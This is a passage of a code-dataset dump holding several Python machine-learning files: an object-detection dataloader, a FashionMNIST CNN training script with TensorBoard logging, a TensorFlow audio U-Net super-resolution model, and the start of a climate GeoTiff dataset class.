#---------------------------------------------------#\r\n image, y = self.get_random_data(self.annotation_lines[index], self.input_shape[0:2], random = self.train)\r\n image = np.transpose(preprocess_input(np.array(image, dtype=np.float32)), (2, 0, 1))\r\n box_data = np.zeros((len(y), 5))\r\n if len(y) > 0:\r\n box_data[:len(y)] = y\r\n\r\n box = box_data[:, :4]\r\n label = box_data[:, -1]\r\n d = {}\r\n d['boxes'] = torch.from_numpy(box)\r\n d['labels'] = torch.from_numpy(label.astype(int))\r\n d['image_id'] = torch.tensor([index])\r\n d['iscrowd'] = torch.tensor([0]*len(box))\r\n d['area'] = torch.tensor((box[:, 3] - box[:, 1]) * (box[:, 2] - box[:, 0]))\r\n\r\n if self.transforms is not None:\r\n img, target = self.transforms(image, d)\r\n\r\n return image, d\r\n\r\n def rand(self, a=0, b=1):\r\n return np.random.rand() * (b - a) + a\r\n\r\n def get_random_data(self, annotation_line, input_shape, jitter=.3, hue=.1, sat=0.7, val=0.4, random=True):\r\n line = annotation_line.split()\r\n # ------------------------------#\r\n # 读取图像并转换成RGB图像\r\n # ------------------------------#\r\n image = Image.open(line[0])\r\n image = cvtColor(image)\r\n # ------------------------------#\r\n # 获得图像的高宽与目标高宽\r\n # ------------------------------#\r\n iw, ih = image.size\r\n h, w = input_shape\r\n # ------------------------------#\r\n # 获得预测框\r\n # ------------------------------#\r\n box = np.array([np.array(list(map(int, box.split(',')))) for box in line[1:]])\r\n\r\n\r\n scale = min(w / iw, h / ih)\r\n nw = int(iw * scale)\r\n nh = int(ih * scale)\r\n dx = (w - nw) // 2\r\n dy = (h - nh) // 2\r\n\r\n # ---------------------------------#\r\n # 将图像多余的部分加上灰条\r\n # ---------------------------------#\r\n image = image.resize((nw, nh), Image.BICUBIC)\r\n new_image = Image.new('RGB', (w, h), (128, 128, 128))\r\n new_image.paste(image, (dx, dy))\r\n image_data = np.array(new_image, np.float32)\r\n\r\n # ---------------------------------#\r\n # 对真实框进行调整\r\n # ---------------------------------#\r\n if len(box) > 0:\r\n np.random.shuffle(box)\r\n box[:, [0, 2]] = box[:, [0, 2]] * nw / iw + dx\r\n box[:, [1, 3]] = box[:, [1, 3]] * nh / ih + dy\r\n box[:, 0:2][box[:, 0:2] < 0] = 0\r\n box[:, 2][box[:, 2] > w] = w\r\n box[:, 3][box[:, 3] > h] = h\r\n box_w = box[:, 2] - box[:, 0]\r\n box_h = box[:, 3] - box[:, 1]\r\n box = box[np.logical_and(box_w > 1, box_h > 1)] # discard invalid box\r\n\r\n return image_data, box\r\n\r\n\r\ndef get_transform(train):\r\n transforms = []\r\n transforms.append(T.ToTensor())\r\n if train:\r\n transforms.append(T.RandomHorizontalFlip(0.5))\r\n return T.Compose(transforms)\r\n\r\n\r\n\r\n\r\nclass VocDataset(torch.utils.data.Dataset):\r\n def __init__(self, root, transforms, input_shape=[600, 600]):\r\n self.root = root\r\n self.transforms = transforms\r\n # self.annotation_lines = annotation_lines\r\n self.input_shape = input_shape\r\n # load all image files, sorting them to\r\n # ensure that they are aligned\r\n # self.imgs = list(sorted(os.listdir(os.path.join(root, \"JPEGImages\"))))\r\n self.masks = list(sorted(os.listdir(os.path.join(root, \"SegmentationClass\"))))\r\n # self.masks = list(sorted([x for x in self.masks if x.split('.')[0] in list(self.annotation_lines.keys())]))\r\n a = [x.split('.')[0] for x in self.masks]\r\n self.imgs = list(sorted([x+'.jpg' for x in a]))\r\n\r\n\r\n def __getitem__(self, idx):\r\n # load images and masks\r\n img_path = os.path.join(self.root, \"JPEGImages\", self.imgs[idx])\r\n mask_path = os.path.join(self.root, \"SegmentationClass\", self.masks[idx])\r\n nid = self.imgs[idx].split('.')[0]\r\n img = Image.open(img_path).convert(\"RGB\")\r\n # note that we haven't converted the mask to RGB,\r\n # because each color corresponds to a different instance\r\n # with 0 being background\r\n mask = Image.open(mask_path)\r\n # convert the PIL Image into a numpy array\r\n mask = np.array(mask)\r\n # instances are encoded as different colors\r\n obj_ids = np.unique(mask)\r\n # first id is the background, so remove it\r\n obj_ids = obj_ids[1:]\r\n\r\n # split the color-encoded mask into a set\r\n # of binary masks\r\n masks = mask == obj_ids[:, None, None]\r\n\r\n # get bounding box coordinates for each mask\r\n num_objs = len(obj_ids)\r\n boxes = []\r\n for i in range(num_objs):\r\n pos = np.where(masks[i])\r\n xmin = np.min(pos[1])\r\n xmax = np.max(pos[1])\r\n ymin = np.min(pos[0])\r\n ymax = np.max(pos[0])\r\n boxes.append([xmin, ymin, xmax, ymax])\r\n\r\n # convert everything into a torch.Tensor\r\n boxes = torch.as_tensor(boxes, dtype=torch.float32)\r\n # there is only one class\r\n labels = torch.ones((num_objs,), dtype=torch.int64)\r\n # labels = torch.tensor(self.annotation_lines[nid].astype(int))\r\n masks = torch.as_tensor(masks, dtype=torch.uint8)\r\n\r\n image_id = torch.tensor([idx])\r\n area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])\r\n # suppose all instances are not crowd\r\n iscrowd = torch.zeros((num_objs,), dtype=torch.int64)\r\n\r\n target = {}\r\n target[\"boxes\"] = boxes\r\n target[\"labels\"] = labels\r\n target[\"masks\"] = masks\r\n target[\"image_id\"] = image_id\r\n target[\"area\"] = area\r\n target[\"iscrowd\"] = iscrowd\r\n\r\n if self.transforms is not None:\r\n img, target = self.transforms(img, target)\r\n\r\n return img, target\r\n\r\n def __len__(self):\r\n return len(self.imgs)","repo_name":"xiangwenkai/nn_final_pj","sub_path":"faster-rcnn/utils/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":13571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32383381152","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.utils.data as udata\n\nimport torchvision\nimport torchvision.transforms as transforms\n#PyTorch imports\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom sklearn.metrics import confusion_matrix #from plotcm import plot_confusion_matrix\n#data science in Python\n\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport itertools\nimport pdb #Python debugger\n\n# Hyper Parameters\nEPOCH = 1 # 训练整批数据多少次\nBATCH_SIZE = 100\nLR = 0.001 # 学习率\nDOWNLOAD_MNIST = False # 如果你已经下载好了mnist数据就写上 False\n\ntorch.set_printoptions(linewidth = 120)\n\ntrain_set = torchvision.datasets.FashionMNIST(\n root = './data'\n ,train = True\n ,download = DOWNLOAD_MNIST\n ,transform = transforms.Compose([\n transforms.ToTensor()\n ])\n)\n\n\"\"\"\ntrain_loader = udata.DataLoader(\n\ttrain_set\n ,batch_size = 1000\n ,shuffle = True\n)\n\nprint (len(train_set),\"\\n\")\nprint (train_set.targets)\n\"\"\"\n\n\"\"\"\nsample = next(iter(train_set))\nimage, label = sample\n\nplt.imshow(image.squeeze(), cmap = \"gray\")\nplt.show()\nprint (torch.tensor(label))\n\"\"\"\n\n\"\"\"\ndisplay_loader = udata.DataLoader(\n train_set, batch_size = 10\n)\n\nbatch = next(iter(display_loader))\nprint('len:', len(batch))\n\nimages, labels = batch\n\ngrid = torchvision.utils.make_grid(images, nrow = 10)\n\nplt.figure(figsize = (15,15))\nplt.imshow(np.transpose(grid, (1,2,0)))\nplt.show()\nprint('labels:', labels)\n\"\"\"\n\nclass Network(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=6, kernel_size=5)\n self.conv2 = nn.Conv2d(in_channels=6, out_channels=12, kernel_size=5)\n\n self.fc1 = nn.Linear(in_features=12 * 4 * 4, out_features=120)\n self.fc2 = nn.Linear(in_features=120, out_features=60)\n self.out = nn.Linear(in_features=60, out_features=10)\n\n def forward(self, t):\n # implement the forward pass\n # (1) input layer\n t = t\n\n # (2) hidden conv layer\n t = self.conv1(t)\n t = F.relu(t)\n t = F.max_pool2d(t, kernel_size=2, stride=2)\n\n # (3) hidden conv layer\n t = self.conv2(t)\n t = F.relu(t)\n t = F.max_pool2d(t, kernel_size=2, stride=2)\n\n # (4) hidden linear layer\n t = t.reshape(-1, 12 * 4 * 4)\n t = self.fc1(t)\n t = F.relu(t)\n\n # (5) hidden linear layer\n t = self.fc2(t)\n t = F.relu(t)\n\n # (6) output layer\n t = self.out(t)\n #t = F.softmax(t, dim=1)\n\n return t\n\ntorch.set_grad_enabled(True)\n\ndef get_num_correct(preds, labels):\n return preds.argmax(dim=1).eq(labels).sum().item()\n\nnetwork = Network()\n#print(network)\n\n#if torch.cuda.is_available():\n# network.to('cuda')\n\n\"\"\"\ntorch.set_grad_enabled(False)\nsample = next(iter(train_set)) \nimage, label = sample\npred = network(image.unsqueeze(0))\nprint(label)\nprint(pred.argmax(dim=1))\n\"\"\"\n\ntrain_loader = udata.DataLoader(train_set, batch_size=BATCH_SIZE, shuffle=True)\noptimizer = optim.Adam(network.parameters(), lr=LR)\n\n\"\"\"\nbatch = next(iter(train_loader)) # Getting a batch\nimages, labels = batch\n\npreds = network(images) # Pass Batch\nloss = F.cross_entropy(preds, labels) # Calculating the loss\n\nloss.backward() # Calculate Gradients\noptimizer.step() # Updating the weights\n\nprint('loss1:', loss.item())\npreds = network(images)\nloss = F.cross_entropy(preds, labels)\nprint('loss2:', loss.item())\n\"\"\"\n\n\"\"\"\ntotal_loss = 0\ntotal_correct = 0\n\nfor batch in train_loader: # Get Batch\n images, labels = batch \n\n preds = network(images) # Pass Batch\n loss = F.cross_entropy(preds, labels) # Calculate Loss\n\n optimizer.zero_grad()\n loss.backward() # Calculate Gradients\n optimizer.step() # Update Weights\n\n total_loss += loss.item()\n total_correct += get_num_correct(preds, labels)\n\nprint(\n \"epoch:\", 0, \n \"total_correct:\", total_correct, \n \"loss:\", total_loss\n)\n\"\"\"\n\nimages, labels = next(iter(train_loader))\ngrid = torchvision.utils.make_grid(images)\n\ntb = SummaryWriter()\ntb.add_image('images', grid)\ntb.add_graph(network, images)\n\n\nfor epoch in range(EPOCH):\n\n total_loss = 0\n total_correct = 0\n\n for batch in train_loader: # Get Batch\n images, labels = batch \n\n preds = network(images) # Pass Batch\n loss = F.cross_entropy(preds, labels) # Calculate Loss\n\n optimizer.zero_grad()\n loss.backward() # Calculate Gradients\n optimizer.step() # Update Weights\n\n total_loss += loss.item() * BATCH_SIZE\n total_correct += get_num_correct(preds, labels)\n \n tb.add_scalar('Loss', total_loss, epoch)\n tb.add_scalar('Number Correct', total_correct, epoch)\n tb.add_scalar('Accuracy', total_correct / len(train_set), epoch)\n\n tb.add_histogram('conv1.bias', network.conv1.bias, epoch)\n tb.add_histogram('conv1.weight', network.conv1.weight, epoch)\n tb.add_histogram(\n 'conv1.weight.grad'\n ,network.conv1.weight.grad\n ,epoch\n )\n\n print(\n \"epoch\", epoch, \n \"total_correct:\", total_correct, \n \"loss:\", total_loss\n )\n\ntb.close()\n","repo_name":"7israin/PyTorch-Learning","sub_path":"PyTorch-Learning_CNN/PyTorch_Learning_CNN - Visualized.py","file_name":"PyTorch_Learning_CNN - Visualized.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29876680444","text":"# -*- coding: utf-8 -*-\n\"\"\" Model\n\nThis module can use for build audio U-Net as the libary. You don't need modify\nany functions in the libary. Please see the description in front of each\nfunction if you don't undersand it. Please import this module if you want use\nthis libary in anthor project. Note: prev_num_filters = num_channels\n\n################################################################################\n# Author: Weikun Han <weikunhan@gmail.com>\n# Crate Date: 03/6/2018\n# Update: 03/19/2018\n# Reference: https://github.com/jhetherly/EnglishSpeechUpsampler\n################################################################################\n\"\"\"\n\nimport tensorflow as tf\n\n#############################\n# TENSORBOARD HELPER FUNCTION\n#############################\n\ndef comprehensive_variable_summaries(var):\n \"\"\"\n Attach a lot of summaries to a Tensor (for TensorBoard visualization).\n reference: \n https://www.tensorflow.org/programmers_guide/summaries_and_tensorboard\n \"\"\"\n with tf.name_scope('summaries'):\n mean = tf.reduce_mean(var)\n tf.summary.scalar('mean', mean)\n with tf.name_scope('stddev'):\n stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))\n tf.summary.scalar('stddev', stddev)\n tf.summary.scalar('max', tf.reduce_max(var))\n tf.summary.scalar('min', tf.reduce_min(var))\n tf.summary.histogram('histogram', var)\n\ndef histogram_variable_summaries(var):\n \"\"\"\n Attach a histogram summary to a Tensor (for TensorBoard visualization).\n reference:\n https://www.tensorflow.org/programmers_guide/tensorboard_histograms\n \"\"\"\n with tf.name_scope('summaries'):\n tf.summary.histogram('histogram', var)\n\n########################\n# LAYER HELPER FUNCTIONS\n########################\n\ndef subpixel_shuffling_helper(input_tensor, num_channels):\n \"\"\" The helper function for build subpixel reshuffling layer\n\n performs a 1-D subpixel reshuffle of the input 2-D tensor\n assumes the last dimension of X is the filter dimension\n ref: https://github.com/Tetrachrome/subpixel\n\n Args:\n param1 (tensor): input_tensor\n param2 (int): num_channels\n param3 (str): name\n\n Returns:\n tensor: output a subpixel reshuffling layer for 2D tensor\n\n \"\"\"\n\n # The tensor pass '[-1,]' to flatten 'tensor'\n # The axis=1 means split the channels the same as resifual tensor channels\n return tf.transpose(\n tf.stack([tf.reshape(x, [-1, ])\n for x in tf.split(input_tensor, num_channels, axis=1)]))\n\ndef subpixel_shuffling(input_tensor, num_channels, name=None):\n \"\"\" Entrance function of a subpixel reshuffling layer\n\n This function is selest each 2D tensor in input 3D tensor.\n\n Args:\n param1 (tensor): input_tensor\n param2 (int): num_channels\n param3 (str): name\n\n Returns:\n tensor: output a subpixel reshuffling layer for 3D tensor\n\n \"\"\"\n\n # From 3D tensor (input_tensor) selet each 2D tensor (x)\n # The num_channels is the residual tensor filter_size\n return tf.map_fn(\n lambda x: subpixel_shuffling_helper(x, num_channels),\n input_tensor,\n name=name)\n\ndef stacking_subpixel_helper(input_tensor,\n stack_prev_num_filters,\n stack_num_filters,\n name=None):\n \"\"\" The function for stacking subpixel reshuffling layers\n\n This function is to stack more 2D tensor in 3D tensor. Performs a subpixel\n restacking such that it restacks columns of a 2-D tensor onto the rows\n\n Args:\n param1 (tensor): input_tensor\n param2 (int): stack_prev_num_filters\n param3 (str): stack_num_filters\n param4 (str): name\n\n Returns:\n tensor: output stacking subpixel reshuffling layers for 3D tensor\n\n \"\"\"\n\n # Record the filter size for input tensor\n filter_size = tf.shape(input_tensor)[0]\n\n # Get number of 2D tensor we need\n need_prev_num_filters = (stack_prev_num_filters -\n input_tensor.get_shape().as_list()[1])\n\n # Calculter total new spece need for stacking\n total_new_space = need_prev_num_filters * stack_num_filters\n\n # Slice the input tensor for stacking, cut from number of filters need for\n # this stacking\n stack_tensor = tf.slice(input_tensor,\n [0, 0, stack_num_filters],\n [-1, -1, -1])\n\n # Reshape stack tensor to 2D tensor, and cut form total new spece need for\n # this stacking\n stack_tensor = tf.slice(tf.reshape(stack_tensor, [filter_size, -1]),\n [0, 0],\n [-1, total_new_space])\n\n # Reshpe this 2D tensor to the 3D tensor\n stack_tensor = tf.reshape(stack_tensor, [filter_size, -1, stack_num_filters])\n\n # Slice the stack tensor from number of previous filter need\n stack_tensor = tf.slice(stack_tensor,\n [0, 0, 0],\n [-1, need_prev_num_filters, -1])\n\n # Get the base tensor to stack on\n base_tensor = tf.slice(input_tensor,\n [0, 0, 0],\n [-1, -1, stack_num_filters])\n\n # This time want to stack all 2D tensors to combined 3D tensor, so axis=1\n return tf.concat((base_tensor, stack_tensor),\n axis=1,\n name=name)\n\ndef stacking_subpixel(input_tensor,\n stack_prev_num_filters,\n stack_num_filters=None,\n name=None):\n \"\"\" Entrance function of stacking subpixel reshuffling layers\n\n This function identfy how many filters need for stacking.\n If we want to stack 2D tensor and keep same elements, we need change\n number of filters in current layer.\n\n Args:\n param1 (tensor): input_tensor\n param2 (int): stack_prev_num_filters\n param3 (str): stack_num_filters\n param4 (str): name\n\n Returns:\n tensor: output stacking subpixel reshuffling layers for 3D tensor\n\n \"\"\"\n prev_num_filters = input_tensor.get_shape().as_list()[1]\n num_filters = input_tensor.get_shape().as_list()[2]\n need_prev_num_filters = stack_prev_num_filters - prev_num_filters\n\n if stack_num_filters is None:\n\n # Start a loop keep reduce number of filter to search number of stack\n # filter we need\n for i in range(1, num_filters):\n reduce_num_filters = i\n stack_num_filters = num_filters - reduce_num_filters\n size_change = reduce_num_filters * prev_num_filters\n size_goal = stack_num_filters * need_prev_num_filters\n\n # If find the elements fits all final set, stop it\n if size_change >= size_goal:\n break\n return stacking_subpixel_helper(input_tensor,\n stack_prev_num_filters,\n stack_num_filters,\n name=name)\n\ndef batch_normalization(input_tensor, is_training, scope):\n \"\"\" Build general batch normalizaion function\n\n This function is use for add batch normalization for deep neural netwok.\n In the neural network training, when the convergence speed is very slow, or\n when a gradient explosion or other untrainable condition is encountered,\n batch normalizaion can be tried to solve. In addition, batch normalizaion\n can also be added under normal usage to speed up training and\n improve model accuracy.\n\n Args:\n param1 (tensor): input_tensor\n param2 (bool): is_training\n param3 (str): scope\n\n Returns:\n tensor: output layer add the batch normaliazation function\n\n \"\"\"\n\n # Selet batch nomalization is use for training or not traning\n return tf.cond(is_training,\n lambda: tf.contrib.layers.batch_norm(input_tensor,\n decay=0.99,\n is_training=is_training,\n center=True,\n scale=True,\n updates_collections=None,\n scope=scope,\n reuse=False),\n lambda: tf.contrib.layers.batch_norm(input_tensor,\n decay=0.99,\n is_training=is_training,\n center=True,\n scale=True,\n updates_collections=None,\n scope=scope,\n reuse=True))\n\ndef weight_variables(shape, name=None):\n \"\"\" Build normal distributions generator\n\n Output a random value from the truncated normal distribution.\n The resulting value follows a normal distribution with a specified mean\n and standard deviation, and discards the reselection if the resulting value\n is greater than the value of the mean 2 standard deviations.\n\n Args:\n param1 (list): shape\n param2 (str): name\n\n Returns:\n list: the tensorfolw veriable\n\n \"\"\"\n\n # Use truncated_normal or random_normal to build\n initial = tf.truncated_normal(shape, mean=0.0, stddev=0.1)\n return tf.Variable(initial, name=name)\n\ndef bias_variables(shape, name=None):\n \"\"\" Build constant generator\n\n This function add the initial bias 0.1 for each depth of tensor\n Output a constant variable\n\n Args:\n param1 (list): shape\n param2 (str): name\n\n Returns:\n list: the tensorfolw veriable\n\n \"\"\"\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial, name=name)\n\n########################\n# SINGLE LAYER FUNCTIONS\n########################\n\ndef convolution_1d_act(input_tensor,\n prev_num_filters,\n filter_size,\n num_filters,\n layer_number,\n active_function,\n stride=1,\n padding='VALID',\n tensorboard_output=False,\n name=None):\n \"\"\" Build a single convolution layer with active function\n\n The function build a single convolution layer with intial weight and bias.\n Also add the active function for this single covolution layer\n\n Args:\n param1 (tensor): pre_tensor\n param2 (int): prev_num_filters\n param3 (int): filter_size\n param4 (int): num_filters\n param5 (funtion): active_function\n param6 (int): layer_number\n param7 (int): stride\n param8 (str): padding\n param9 (bool): tensorboard_output\n param10 (str): name\n\n Returns:\n tensor: representing the output of the operation\n\n \"\"\"\n\n # Define the filter\n with tf.name_scope('{}_layer_conv_weights'.format(layer_number)):\n w = weight_variables(\n [filter_size, prev_num_filters, num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(w)\n\n # Define the bias\n with tf.name_scope('{}_layer_conv_biases'.format(layer_number)):\n b = bias_variables([num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(b)\n\n # Create the single convolution laryer\n with tf.name_scope('{}_layer_conv_preactivation'.format(layer_number)):\n conv = tf.nn.conv1d(input_tensor, w, stride=stride, padding=padding) + b\n\n if tensorboard_output:\n histogram_variable_summaries(conv)\n\n # Add the active function\n with tf.name_scope('{}_layer_conv_activation'.format(layer_number)):\n conv_act = active_function(conv, name=name)\n\n if tensorboard_output:\n histogram_variable_summaries(conv_act)\n return conv_act\n\ndef downsampling_d1_batch_norm_act(input_tensor,\n filter_size, \n layer_number,\n stride,\n active_function=tf.nn.relu,\n is_training=True,\n padding='VALID',\n tensorboard_output=False,\n num_filters=None, \n name=None):\n \"\"\" Build a single downsampling layer\n\n The function build a single convolution layer with intial weight and bias.\n Also add the batch normalization for this single convolution layer.\n Also add the active function for this single covolution layer.\n\n Args:\n param1 (tensor): input_tensor\n param2 (int): filter_size\n param3 (int): stride\n param4 (int): layer_number\n param5 (funtion): active_function\n param6 (bool): is_training\n param7 (int): num_filters\n param8 (str): padding\n param9 (bool): tensorboard_output\n param10 (str): name\n\n Returns:\n tensor: representing the output of the operation\n\n \"\"\"\n\n # Assume this layer is twice the depth of the previous layer if no depth\n # information is given\n if num_filters is None:\n num_filters = 2 * input_tensor.get_shape().as_list()[-1]\n\n # Define the filter\n with tf.name_scope('{}_layer_conv_weights'.format(layer_number)):\n\n # input_tensor.get_shape().as_list()[-1] is pre_num_fitlters\n w = weight_variables(\n [filter_size, input_tensor.get_shape().as_list()[-1], num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(w)\n\n # Define the bias\n with tf.name_scope('{}_layer_conv_biases'.format(layer_number)):\n b = bias_variables([num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(b)\n\n # Create the single convolution laryer\n with tf.name_scope('{}_layer_conv_preactivation'.format(layer_number)):\n conv = tf.nn.conv1d(input_tensor, w, stride=stride, padding=padding) + b\n\n if tensorboard_output:\n histogram_variable_summaries(conv)\n\n # Add the batch nomalization at output of conlution laryer\n with tf.name_scope('{}_layer_batch_norm'.format(layer_number)) as scope:\n conv_batch_norm = batch_normalization(conv, is_training, scope)\n\n # Add the active function\n with tf.name_scope('{}_layer_conv_activation'.format(layer_number)):\n conv_batch_norm_act = active_function(conv_batch_norm, name=name)\n\n if tensorboard_output:\n histogram_variable_summaries(conv_batch_norm_act)\n return conv_batch_norm_act\n\ndef upsampling_d1_batch_normal_act_subpixel(input_tensor,\n residual_tensor,\n filter_size, \n layer_number,\n active_function=tf.nn.relu,\n stride=1,\n is_training=True,\n padding='VALID',\n tensorboard_output=False,\n num_filters=None,\n name=None):\n \"\"\" Build a single upsampling layer\n\n The function build a single convolution layer with intial weight and bias.\n Also add the batch normalization for this single convolution layer.\n Also add the active function for this single covolution layer.\n Also a subpixel convolution that reorders information along one\n dimension to expand the other dimensions.\n Also final convolutional layer with restacking and reordering operations\n is residually added to the original input to yield the upsampled waveform.\n\n Args:\n param1 (tensor): input_tensor\n param2 (tensor): residual_tensor\n param3 (int): filter_size\n param4 (int): stride\n param5 (int): layer_number\n param6 (funtion): active_function\n param7 (bool): is_training\n param8 (int): num_filters\n param9 (str): padding\n param10 (bool): tensorboard_output\n param11 (str): name\n\n Returns:\n tensor: representing the output of the operation\n\n \"\"\"\n\n # assume this layer is half the depth of the previous layer if no depth\n # information is given\n if num_filters is None:\n num_filters = int(input_tensor.get_shape().as_list()[-1] / 2)\n\n # Define the filter\n with tf.name_scope('{}_layer_conv_weights'.format(layer_number)):\n\n # input_tensor.get_shape().as_list()[-1] is pre_num_fitlters\n w = weight_variables(\n [filter_size, input_tensor.get_shape().as_list()[-1], num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(w)\n\n # Define the bias\n with tf.name_scope('{}_layer_conv_biases'.format(layer_number)):\n b = bias_variables([num_filters])\n\n if tensorboard_output:\n histogram_variable_summaries(b)\n\n # Create the single convolution laryer\n with tf.name_scope('{}_layer_conv_preactivation'.format(layer_number)):\n conv = tf.nn.conv1d(input_tensor, w, stride=stride, padding=padding) + b\n\n if tensorboard_output:\n histogram_variable_summaries(conv)\n\n # Add the batch nomalization at output of conlution laryer\n with tf.name_scope('{}_layer_batch_norm'.format(layer_number)) as scope:\n conv_batch_norm = batch_normalization(conv, is_training, scope)\n\n # Add the active function\n with tf.name_scope('{}_layer_conv_activation'.format(layer_number)):\n conv_batch_norm_act = active_function(conv_batch_norm, name=name)\n\n if tensorboard_output:\n histogram_variable_summaries(conv_batch_norm_act)\n\n # Build a subpixel shuffling layer\n with tf.name_scope('{}_layer_subpixel_reshuffle'.format(layer_number)):\n subpixel_conv = subpixel_shuffling(\n conv_batch_norm_act,\n residual_tensor.get_shape().as_list()[-1],\n name=name)\n\n if tensorboard_output:\n histogram_variable_summaries(subpixel_conv)\n\n # In order to combined final stacking residual connections\n with tf.name_scope('{}_layer_stacking'.format(layer_number)):\n sliced = tf.slice(residual_tensor,\n begin=[0, 0, 0],\n size=[-1, subpixel_conv.get_shape().as_list()[1], -1])\n\n # Stack number of filters (the channels)\n stack_subpixel_conv = tf.concat((subpixel_conv, sliced),\n axis=2,\n name=name)\n\n if tensorboard_output:\n histogram_variable_summaries(stack_subpixel_conv)\n return stack_subpixel_conv\n\n#################################\n# AUDIO U-NET DEEP NEURAL NETWORK\n#################################\n\ndef audio_u_net_dnn(input_type,\n input_shape,\n num_downsample_layers=8,\n channel_multiple=8,\n initial_filter_size=5,\n initial_stride=2,\n downsample_filter_size=3,\n downsample_stride=2,\n bottleneck_filter_size=4,\n bottleneck_stride=2,\n upsample_filter_size=3,\n tensorboard_output=True,\n scope_name='audio_u_net_dnn'):\n \"\"\" Construct the deep neural network (U-Net)\n\n The audio U-Net is based on the paper\n https://arxiv.org/abs/1708.00853\n\n Args:\n param1 (data type): input_type\n param2 (list): input_shape\n param3 (int): num_downsample_layers\n param4 (int): channel_multiple\n param5 (int): initial_filter_size\n param6 (int): initial_stride\n param7 (int): downsample_filter_size\n param8 (int): downsample_stride\n param9 (int): bottleneck_filter_size\n param10 (int): bottleneck_stride\n param11 (int): upsample_filter_size\n param10 (bool): tensorboard_output\n param11 (str): scope_name\n\n Returns:\n tensor: representing the output of the operation\n\n \"\"\"\n \n print('The network summary for {}'.format(scope_name))\n \n # Create list to store layers\n downsample_layers = []\n upsample_layers = []\n layer_count = 1\n\n with tf.name_scope(scope_name):\n\n # is_training variable\n train_flag = tf.placeholder(tf.bool)\n\n # The first dimension of the placeholder is None, \n # meaning we can have any number of rows.\n audio = [None]\n \n for n in input_shape:\n audio.append(n)\n\n x = tf.placeholder(input_type, shape=audio)\n\n # The last second value in list is input audio size\n input_size = audio[-2]\n\n # The last one vaule in list in input audio channels\n num_channels = audio[-1]\n\n print(' input: {}'.format(x.get_shape().as_list()[1:]))\n\n # Build the first downsampling layer\n d1 = downsampling_d1_batch_norm_act(\n x,\n filter_size=initial_filter_size,\n layer_number=layer_count,\n stride=initial_stride,\n is_training=train_flag,\n tensorboard_output=tensorboard_output,\n num_filters=channel_multiple * num_channels)\n downsample_layers.append(d1)\n\n print(' downsample layer: {}'.format(d1.get_shape().as_list()[1:]))\n\n layer_count += 1\n\n # Build next 7 downsampling layer\n for i in range(num_downsample_layers - 1):\n d = downsampling_d1_batch_norm_act(\n downsample_layers[-1],\n filter_size=downsample_filter_size,\n layer_number=layer_count,\n stride=downsample_stride,\n is_training=train_flag,\n tensorboard_output=tensorboard_output)\n downsample_layers.append(d)\n\n print(' downsample layer: {}'.format(d.get_shape().as_list()[1:]))\n\n layer_count += 1\n\n # Build one bottleneck layer\n b = downsampling_d1_batch_norm_act(\n downsample_layers[-1],\n filter_size=bottleneck_filter_size,\n layer_number=layer_count,\n stride=bottleneck_stride,\n is_training=train_flag,\n tensorboard_output=tensorboard_output)\n\n print(' bottleneck layer: {}'.format(b.get_shape().as_list()[1:]))\n\n layer_count += 1\n\n # Build the first upsampling layer\n u1 = upsampling_d1_batch_normal_act_subpixel(\n b,\n downsample_layers[-1],\n filter_size=upsample_filter_size,\n layer_number=layer_count,\n is_training=train_flag,\n tensorboard_output=tensorboard_output,\n num_filters=b.get_shape().as_list()[-1])\n upsample_layers.append(u1)\n\n print(' upsample layer: {}'.format(u1.get_shape().as_list()[1:]))\n\n layer_count += 1\n\n # Build the next 6 layer upsampling layer\n for i in range(num_downsample_layers - 2, -1, -1):\n u = upsampling_d1_batch_normal_act_subpixel(\n upsample_layers[-1],\n downsample_layers[i],\n filter_size=upsample_filter_size,\n layer_number=layer_count,\n is_training=train_flag,\n tensorboard_output=tensorboard_output)\n upsample_layers.append(u)\n\n print(' upsample layer: {}'.format(u.get_shape().as_list()[1:]))\n\n layer_count += 1\n\n # Build last restack layer to map downsampling layer\n target_size = int(input_size / initial_stride)\n restack = stacking_subpixel(\n upsample_layers[-1], target_size + (upsample_filter_size - 1))\n\n print(' restack layer: {}'.format(restack.get_shape().as_list()[1:]))\n\n # Add the convolution layer with restack layer\n conv_act = convolution_1d_act(\n restack,\n prev_num_filters=restack.get_shape().as_list()[-1],\n filter_size=upsample_filter_size,\n num_filters=initial_stride,\n layer_number=layer_count,\n active_function=tf.nn.elu,\n tensorboard_output=tensorboard_output)\n\n print(' final convolution layer: {}'.format(\n conv_act.get_shape().as_list()[1:]))\n\n # NOTE this effectively is a linear activation on the last conv layer\n subpixel_conv = subpixel_shuffling(conv_act, num_channels)\n y = tf.add(subpixel_conv, x, name=scope_name)\n\n print(' output: {}'.format(y.get_shape().as_list()[1:]))\n print('--------------------Finished model building--------------------')\n\n return train_flag, x, y\n","repo_name":"UCLA-ECE209AS-2018W/Weikun-Zhengshuang","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":25181,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"26270450158","text":"# -*- coding: utf-8 -*-\nimport os\nfrom glob import glob\nfrom typing import Dict, Optional, Tuple, Union\n\nimport albumentations as A\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom PIL import Image\nfrom torch import Tensor\nfrom torchvision import transforms as transforms\n\nimport climsr.consts as consts\nfrom climsr.data.normalization import MinMaxScaler, StandardScaler\nfrom climsr.data.sr.climate_dataset_base import ClimateDatasetBase\n\n\nclass GeoTiffInferenceDataset(ClimateDatasetBase):\n def __init__(\n self,\n 